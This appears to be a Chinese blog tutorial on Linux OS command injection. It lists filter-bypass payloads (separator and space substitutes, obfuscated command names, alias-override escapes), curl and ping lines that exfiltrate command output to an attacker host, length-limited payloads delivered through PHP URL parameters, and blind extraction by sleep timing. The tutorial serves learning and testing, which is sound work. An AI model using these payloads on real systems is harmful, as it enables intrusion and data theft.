Linux OS 命令注入指北
当应用需要调用一些外部程序去处理的情况下,就会用到一些执行系统命令的函数,这些函数将字符串当做参数传递给 shell 来当做系统命令来执行,若用户可以控制参数,就有可能通过 OS 命令注入来执行任意命令。
以下 payload 均在 Ubuntu 的 bash 实际测试过
简介
命令注入是一种通过存在漏洞的应用程序向主机操作系统执行任意命令。当应用程序对用户提供的数据(表单,cookie,http 头)不进行检测传递给系统 shell,那么就有可能存在命令注入。在这种攻击中,攻击者提供的操作系统命令通常以易受攻击的应用程序的特权执行。主要原因是输入验证不足导致命令注入攻击。
需要注意的是,OS 命令注入导致命令执行,和代码执行是不同的,代码执行的例子:<?php assert($_POST['a']);?>
,当a=phpinfo()
的时候就会执行phpinfo
。任意代码执行会导致任意命令执行。
联动
编程语言一般都会提供内置的函数来执行系统命令,我称之为联动,例如 PHP 的 system()
。不同语言与 shell 之间的联动大同小异,本文内容主要以 PHP 为例。
应对限制
命令分隔符
禁止使用命令分隔符。
常规的是命令分隔符 ;
,但是还有很多可以代替它的:
;
:常规分隔符,不论;
前面的命令执行成功与否都会执行后面的命令。&&
:&&
左边的命令成功执行后,&& 右边的命令才能够被执行。||
:如果||
左边的命令执行失败了就执行||
右边的命令。&
:&
放在启动参数后面表示设置此进程为后台进程,这里可以巧妙地作为命令分隔符:ls&whoami
实际上相当于ls &; whoami
,即将ls
放到后台运行,结束后再运行whoami
。|
:管道符左边命令的输出作为管道符右边命令的输入。所以左边的输出并不显示。%0a
:url 编码的换行符%0d
:url 编码的回车符%00
:url 编码的 NULL,高版本(>=5.4.38)PHP 的exec
、system
、passthru
都会拦截,不仅仅是报个 warning,命令也是不执行的:
1
Warning: system(): NULL byte detected. Possible attack in /var/www/html/index.php on line 3
空格或者特殊字符
禁止使用空格。
能替换空格的也有很多:
<
:输入重定向,后面需要接目录或者文件名,例如ls<./
,所以不是所有的命令都可以使用它作为空格替代符,例如ping
:
1
2bash-3.2$ ping<baidu.com
bash: baidu.com: No such file or directory<>
:打开一个文件作为输入与输出使用。所以它比<
的限制更严格,后面必须是文件,连目录都不行:
1
2
3
4bash-3.2$ cat<>key
Macr0phag3
bash-3.2$ ls<>./
bash: ./: Is a directory%09
:url 编码的制表符的。%0a
:url 编码的换行符。${IFS}
、$IFS
:首先,IFS
是一个系统变量,内置的分隔符,查看默认的IFS
:
1
2bash-3.2$ set |grep IFS
IFS=$' \t\n'
所以它可以用来替代空格。那么${IFS}
与$IFS
有什么区别呢?其实是没有区别的,${}
的作用仅仅是起到了精确界定变量名称的作用,比如$ab
实际上有歧义,可以说是$a
与b
,也可以说是$ab
,Linux 默认按照最长的来解析,即$ab
,如果我们就是想写$a
与b
的话,需要这样${a}b
。当然${}
还有变量替换的作用,与这里无关就不细说了。{cmd,arg}
:这个方法实际上是巧妙地利用了花括号扩展
:传送门🚪。花括号扩展本来的作用是组合,例如:
1
2bash-3.2$ echo a{d,c}e
ade ace
也就是说,d、c 都是候选字符,输出的结果是候选的组合。我们可以看到,中间多了一个空格。所以就可以这样利用:
1
2
3
4
5bash-3.2$ echo {ls,./}
ls ./
bash-3.2$ {ls,./}
Applications Documents ...
...
需要多个参数也是可以的,加多个,
就行:{ls,./,./,./}
不过需要注意,使用花括号扩展的时候,{}
中不能有空格。
其他
个人感觉这两个有点鸡肋:
$PS2
==>
1
2# echo "<?php echo 'Macr0phag3'; ?$PS2"
<?php echo 'Macr0phag3'; ?>
一个非常长的命令可以通过在末尾加\
使其分行显示 ,而$PS2
是多行命令的默认提示符,默认值是>
$PS4
==+
。它是set -x
用来修改跟踪输出的前缀(很少很少用到)
命令
黑名单、白名单过滤来禁止使用一些系统命令。
- 单字符组合
a=l;b=s;$a$b
==ls
a=c;b=at;c=Macr;d=0phag3;$a$b ${c}${d}
==cat Macr0phag3
- 利用已有的文字
echo $PATH |cut -c 1
可以获取到/
- 字符串变形
- base64:
1
2[macr0phag3@127.0.0.1 ~]# `echo Y2F0Cg==| base64 -d` key
Macr0phag3 $(printf "\167\150\157\141\155\151")
# 8 进制,等价于 whoami,同理 16 进制也可以
- base64:
- 利用
空
:
Bash 很多东西都是空
,例如''
、不存在的变量等等,就可以利用他们来隔开命令:- 续行符
\
:c\at key
甚至是\c\a\t \k\e\y
。实际上,\
放在命令的开头是可以用来忽略 alias 的,详细的在下面有讨论。 l''s
:l''s
==ls
"l""s"
或者'l''s'
或者'l'"s"
或者l"s"
...l${anything}s
:因为anything
不存在,是空的,所以l${anything}s
==ls
,与l''s
原理一样。l$1s
、l$2s
、...、l$9s
:相比上面那个,这个方法不用{}
也可以,因为这类数字名变量的名称界定比较特殊。至于它们是什么意思:
1
2$0: Shell 本身,所以这里有个技巧是 {printf,"\167\150\157\141\155\151"} | $0
$1~$n: Shell 的各参数值。$1 是第 1 个参数、$2 是第 2 个参数,以此类推。l$*s
、l$@s
:它们都表示所有 Shell 参数的列表,不包括脚本本身(即$1
-$n
)。但是还是有区别的。举例:执行test.sh 1 2 3
时,"$*"
表示"1 2 3"
,而"$@"
表示"1" "2" "3"
。二者没有被引号引起来时是一样的都为"1 2 3"
,只有当被引号引起来后才不一样。l$!s
:$!
代表 Shell 最后运行的后台 Process 的 PID。可以简单地理解为,例如一个命令放到后台运行:ping baidu.com &
后它的 PID。c$()at key
:$()
代表执行一个空
的命令,返回值也为空。当然这样也是可以的:l$(echo s)
。l``s
:这样当然也可以了。
- 续行符
- 花括号扩展
花括号扩展上面说过了,这里不赘述了:
1
2bash-3.2$ echo {c,c}at key
cat cat key
虽然cat
报错了,但是不影响cat key
执行。不过不是所有的命令都能这样使用:
1
2
3
4bash-3.2$ echo {w,w}hoami key
whoami whoami key
bash-3.2$ {w,w}hoami key
usage: whoami
只有形似cmd cmd ars
也能执行后面的cmd arg
的时候才能使用。 - 利用
*
直接运行*
非常有意思- 如果当前目录下没有任何文件/文件夹、或者是
"*"
、或者是'*'
,那么*
都会被当做 星号 这个字符本身来使用:
1
2
3bash-3.2$ rm ./*
bash-3.2$ ls *
ls: cannot access '*': No such file or directory - 而如果下面是有文件/文件夹的话,
*
就起到了通配符的作用:
1
2
3bash-3.2$ touch test
bash-3.2$ ls *
test - 那么就很显然了,执行单个
*
的时候,其实是将 ls 的第一个结果(按照文件名称从小到大来列出文件),当做命令,其他结果当做参数传递:
1
2
3
4
5
6
7
8
9bash-3.2$ rm ./*
bash-3.2$ touch whoami
bash-3.2$ touch ls
bash-3.2$ * # 此时等价于 ls whoami
whoami
bash-3.2$ rm ./*
bash-3.2$ touch rm
bash-3.2$ touch zookeeper.sh
bash-3.2$ * # 此时等价于 rm zookeeper.sh - 那么所以需要注意的是,必须考虑命令的参数问题:
1
2
3
4
5
6
7
8
9
10
11
12# 无干扰,利用成功:
bash-3.2$ touch zookeeper.sh
bash-3.2$ touch dir
bash-3.2$ *
zookeeper.sh
# 存在干扰,利用失败:
bash-3.2$ touch zookeeper.sh
bash-3.2$ touch whoami
bash-3.2$ *
whoami: extra operand ‘zookeeper.sh’
Try 'whoami --help' for more information.
这个我暂时也没什么好办法绕过参数的干扰。它实际上是相当于'whoami' 'zookeeper.sh'
的,所以这种情况下,就算我们创建了一个叫whoami &&
的文件,*
也是没用的,因为不管是命令还是参数,都已经被'
包住了。如果确实存在干扰,那么可以考虑在利用之前,将目录完全清空:rm -rf ./*
,比较凶残,尽量不要使用。
如果目录是空的,那么我们就可以利用*
了:
1
2
3
4
5
6
7bash-3.2$ ls
bash-3.2$ >ping
bash-3.2$ >tr0y.wang
bash-3.2$ *
PING tr0y.wang (104.21.65.233): 56 data bytes
64 bytes from 104.21.65.233: icmp_seq=0 ttl=52 time=179.297 ms
64 bytes from 104.21.65.233: icmp_seq=1 ttl=52 time=178.529 ms
最后,单个*
与大于两个的*
是一样的,至于为什么是大于两个,因为**
比较特殊,继续往下看。
- 如果当前目录下没有任何文件/文件夹、或者是
- 利用
**
bash 的**
,可以用shopt -s/-u globstar
修改其特性,off
的时候,**
等于*
,on
的时候,则是递归通配符:
1
2
3
4
5
6[root@macr0phag3 test]# shopt -u globstar # 关闭
[root@macr0phag3 test]# echo **
a b
[root@macr0phag3 test]# shopt -s globstar # 开启
[root@macr0phag3 test]# echo **
a a/a1 a/a2 a/a3 b b/b1 b/b2 b/b3
需要注意的是,这个功能是大于 bash4 的版本才有的。
最后,上面提到,单个*
与大于两个的*
是一样的,证明如下:
1
2
3
4
5
6
7
8
9
10
11
12[root@macr0phag3 test]# shopt -s globstar
[root@macr0phag3 test]# mkdir -p a/a1
[root@macr0phag3 test]# echo *
a ping
[root@macr0phag3 test]# echo ** # 只有它特殊
a a/a1 ping
[root@macr0phag3 test]# echo ***
a ping
[root@macr0phag3 test]# echo ****
a ping
[root@macr0phag3 test]# echo *****
a ping
由于这个特性默认是off
的,所以用的也比较少。 - 利用其他 glob
glob 是一种特殊的模式匹配,最常见的是通配符拓展。例如?
、[a-z]
、[[:space:]]
等等。
覆盖指令
利用 alias 或者自定义函数来覆盖关键的系统命令,比如在 .zshrc 中设置:
1
2
3
4
5alias ls="echo 'not allowed'"
cat(){
echo "not allowed"
}
上面提到过,开头的 \
可以用于忽略 alias,即执行 ls
就是执行 echo "not allowed"
,但是执行 \ls
就是真的执行了 ls
。
对于自定义的函数来说,利用 command
开头即可忽略自定义的函数,如 command cat
。
完整示例
1
2
3
4
5
6
7
8
9
10
11» ls
not allowed
» \ls
key
» cat key
not allowed
» command cat key
Macr0phag3
无回显
不是在所有的情况下都能直接拿到输出。
这里的 your_own_ip
是你自己搭建的外带数据接收服务器,懒得搭建的话,使用 nc 监听一下端口也行。实在想临时用用的话可以使用知道创宇的,传送门🚪
- http 外带
1
curl your_own_ip.com/`whoami`
- ICMP 外带
1
ping -c 1 `whoami`.your_own_ip.com
注意,命令执行的结果中,常常会有空格等等特殊字符,这个时候使用 base64 编码即可:
curl your_own_ip.com/$(whoami|base64)
,结果:
长度
在命令注入中往往会存在注入命令的长度过短的情况,无法将全部命令完全的输入进去,这种情况下就需要我们来想办法突破系统命令长度的限制。
思路是:
- 将命令拆开,通过创建文件,以文件名的形式放到目录下
- 执行 ls,将目录里的文件名存到一个文件中
- 利用
. filename
或者sh filename
运行这个文件,执行命令。
以执行whoami
为例:
1
2
3
4
5
6
7
8
9
10
11
12
13[root@macr0phag3 fortest]# ls
[root@macr0phag3 fortest]# >i\\
[root@macr0phag3 fortest]# >m\\
[root@macr0phag3 fortest]# >a\\
[root@macr0phag3 fortest]# >o\\
[root@macr0phag3 fortest]# >h\\
[root@macr0phag3 fortest]# >w\\
[root@macr0phag3 fortest]# ls -t
w\ h\ o\ a\ m\ i\
[root@macr0phag3 fortest]# ls -t>c
[root@macr0phag3 fortest]# . c
bash: c: 未找到命令
root
这波操作很秀,但是有些问题需要解释一下:
> 假如这个目录下本来就存在一些文件、目录,会对这个方法造成影响吗?
不会。原因是下面利用的是 ls -t
来获取目录的文件/文件夹,-t
代表按照时间排序,所以可以保证我们创建的文件是排在一起的,这样拼起来才是一个正确的命令。
创建文件为何要按照命令的倒序?
和第一个问题一样,倒序保证ls -t
后正序
>w\\
是什么意思?
这个的原型是 cmd > file
,但是 cmd 是可省的,甚至随意一个命令都可以用于创建文件:
1
2
3
4[root@macr0phag3 fortest]# anything > test
bash: anything: 未找到命令
[root@macr0phag3 fortest]# ls
test
可以看到,虽然报错了,但是 test
还是创建成功了。所以这样写的时候,文件会优先被创建。
那为什么需要加个 \\
呢,因为其实是需要让文件名带有 \
,而之所以要转义是 shell 的原因,如果从 PHP 传入,只需要 >i\
即可。也就是这样利用的 payload 长度最长仅为 7
:
1
2
3
4
5
6http://192.168.26.177/index.php?cmd=>u.com # 长度 6
http://192.168.26.177/index.php?cmd=>baid\ # 长度 6
http://192.168.26.177/index.php?cmd=>' '\ # 长度 5
http://192.168.26.177/index.php?cmd=>ping\ # 长度 6
http://192.168.26.177/index.php?path=ls -t>c # 长度 7
http://192.168.26.177/index.php?path=sh c # 长度 4
. c
是什么意思?结果为什么是这样?
Linux 中,.
也叫period
,它的作用和source
一样,就是用当前的 shell 执行一个文件中的命令。比如,当前运行的 shell 是 bash,则 . filename
的意思就是用 bash 执行 filename 文件中的命令。注意,用. file
执行文件,是不需要 file 有 x 权限的。所以,c 里面的内容就被当做代码执行了。但是需要注意,sh
是没法这样运行的,如果 www-data
的 shell 是 sh
的话,就只能使用sh filename
运行。
那 bash: c: 未找到命令
是怎么来的呢?是在 ls -t>c
的时候创建的。由结果我们也可以知道,这样执行,有报错是不影响下一个命令执行的。
其实还有更短 payload 下的命令执行,不过我觉得相当不实用,因为目录下一般都会有其他文件,ls
的结果默认按照字母顺序排列,payload 会被隔开或者有干扰。
所以也就 CTF 会用了:
类型
- 常规注入
- 盲注
- 基于时间
- 基于布尔
- OOB
常规注入
利用命令分隔符来插入额外的命令。
例如:
1
2
3
4<?php
$cmd = $_GET['path'];
echo system('ls $cmd');
?>
利用方式有很多。由于 bash 的命令分隔符为;
,所以可以利用分号来执行多个语句:
payload:
1
path = "; whoami"
由于命令分隔符有很多种,所以 payload 也会有很多。
基于布尔盲注
只会返回命令执行成功/失败。
利用方式如下:
1
2
3
4
5l$(whoami | cut -c 1 | tr a s)
l$(whoami | cut -c 1 | tr b s)
...
l$(whoami | cut -c 1 | tr r s)
# 命令执行成功,说明第一个字符为 r
原理就是利用cut
提取结果的每一个字符,然后利用 tr
猜解,猜解的方式为将指定的字符替换成 s
,如果与 cut 提取的字符一致,那么结果 tr 的结果就是ls
,执行成功。否则 tr 的结果就不是 s
,则最终执行的结果会出现报错:bash: la: 未找到命令
。
基于时间盲注
利用 sleep seconds
来获取结果。原理就是利用cut
提取结果的每一个字符,然后利用 tr
猜解,猜解的方式为将指定的字符替换成数字,如果与 cut 提取的字符一致,那么结果 tr 的结果就是数字,sleep 就会产生时延,否则 tr 的结果是字符,sleep 不会有时延。
- 第一轮
1
2
3sleep $(whoami | cut -c 1 | tr a 1)
...
sleep $(whoami | cut -c 1 | tr r 1) # 延时 1s, 说明第一个字符是 r - 第二轮
1
2
3sleep $(whoami | cut -c 2 | tr a 1)
...
sleep $(whoami | cut -c 2 | tr o 1) # 延时 1s, 说明第二个字符是 o
OOB
OOB 可以看做是在无回显的情况下的 OS 注入,利用无回显中的技术即可。
来呀快活呀